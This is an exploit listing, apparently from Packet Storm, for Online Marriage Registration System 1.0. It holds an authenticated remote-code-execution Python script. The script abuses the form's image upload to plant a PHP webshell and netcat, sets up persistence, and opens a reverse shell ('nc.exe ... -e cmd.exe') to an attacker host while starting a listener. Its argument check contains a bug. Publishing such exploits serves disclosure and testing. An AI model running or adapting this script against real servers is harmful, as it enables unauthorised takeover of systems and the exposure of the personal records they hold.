Online Marriage Registration System 1.0 Remote Code Execution

Online Marriage Registration System version 1.0 authenticated remote code execution exploit. Original discovery of remote code execution in this version was discovered by Selim Enes Karaduman.

MD5 | b2e2851076deae38beb369428e4efccf

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# Exploit Title: Online Marriage Registration System (OMRS) 1.0 - Remote Code Execution (Authenticated)
# Google Dork: N/A
# Date: 2020-14-12
# Exploit Author: Andrea Bruschi - www.andreabruschi.net
# Vendor Homepage: https://phpgurukul.com/
# Software Link: https://phpgurukul.com/online-marriage-registration-system-using-php-and-mysql/
# Version: 1.0
# Tested on: Windows 10 / Xampp Server and Wamp Server

#!/usr/bin/python3

import requests
import sys
import os
import iterm2
import AppKit

url = sys.argv[1]
mobile = sys.argv[2]
password = sys.argv[3] 

# CONFIGURE HERE
reverse_ip = '192.168.xx.xx'
reverse_port = 4444

# CONFIGURE HERE
# SCRIPT WILL DOWNLOAD NETCAT AND A WEBSHELL
netcat_path = '/local/path/to/nc.exe'
shell_path = '/local/path/to/shell.php'


def login(url, mobile, password):

    url = "{}/user/login.php".format(url)
    payload = {'mobno':mobile, 'password':password, 'login':''}
    req = requests.post(url, data=payload)
    cookie = req.cookies['PHPSESSID']
    
    return cookie


def upload(url, cookie, file=None):

    f = open(file, 'rb')
    filename, ext = os.path.splitext(file)

    if "exe" in ext:
        content_type = 'application/octet-stream'
    else:
        content_type = 'application/x-php'

    cookie = {'PHPSESSID':cookie}
    url = "{}/user/marriage-reg-form.php".format(url)

    files = {'husimage': (filename + ext, f, content_type, {'Expires': '0'}), 'wifeimage':('test.jpg','','image/jpeg')}
    payload = {'dom':'05/01/2020','nofhusband':'test', 'hreligion':'test', 'hdob':'05/01/2020','hsbmarriage':'Bachelor','haddress':'test','hzipcode':'test','hstate':'test','hadharno':'test','nofwife':'test','wreligion':'test','wsbmarriage':'Bachelor','waddress':'test','wzipcode':'test','wstate':'test','wadharno':'test','witnessnamef':'test','waddressfirst':'test','witnessnames':'test','waddresssec':'test','witnessnamet':'test','waddressthird':'test','submit':''}
    req = requests.post(url, data=payload, cookies=cookie, files=files)
    print(f'[+] File {ext} uploaded')


def get_remote_file(url, ext):

    url = "{}/user/images".format(url)
    req = requests.get(url)
    junk = req.text.split(ext)[0]
    f = junk[-42:] + ext
    
    return f


def persistence(url, webshell, netcat):

    # webshell
    payload_w = "copy /y {} shell.php".format(webshell)
    url_w = "{}/user/images/{}?cmd={}".format(url, webshell, payload_w)
    req_w = requests.get(url_w)
    
    # netcat
    payload_n = "copy /y {} nc.exe".format(netcat)
    url_n = "{}/user/images/{}?cmd={}".format(url, webshell, payload_n)
    req_n= requests.get(url_n)

    print('[+] Persistence enabled')


def get_reverse(url, ip, port):

    payload = "nc.exe -nv {} {} -e cmd.exe".format(ip, port)
    url_r = "{}/user/images/shell.php?cmd={}".format(url, payload)
    print('[+] Reverse shell incoming!')
    req = requests.get(url_r)


# CONFIGURE HERE
# THE SCRIPT WILL LAUNCH iTerm2 WINDOW RUNNING NC LISTENER
# YOU CAN ALSO COMMENT THE CALL TO THIS FUNCTION BELOW AND START NC MANUALLY
def start_listener(port):
    
    # Launch the app
    AppKit.NSWorkspace.sharedWorkspace().launchApplication_("iTerm2")

    async def main(connection):
        app = await iterm2.async_get_app(connection)
        window = app.current_window
        if window is not None:
            cmd = "nc -lnv {}".format(port)
            await window.async_create_tab(command=cmd)
        else:
            print("No current window")

    iterm2.run_until_complete(main)



if __name__ == "__main__":

    if len(sys.argv < 3): 
        print("Usage: exploit.py <URI> <MOBILE> <PASSWORD>")
    else:
        cookie = login(url, mobile, password)
        upload(url, cookie, netcat_path)
        upload(url, cookie, shell_path)
        webshell = get_remote_file(url, '.php')
        netcat = get_remote_file(url, '.exe')
        persistence(url, webshell, netcat)
        
        start_listener(reverse_port)
        get_reverse(url, reverse_ip, reverse_port)
            

Source: packetstormsecurity.com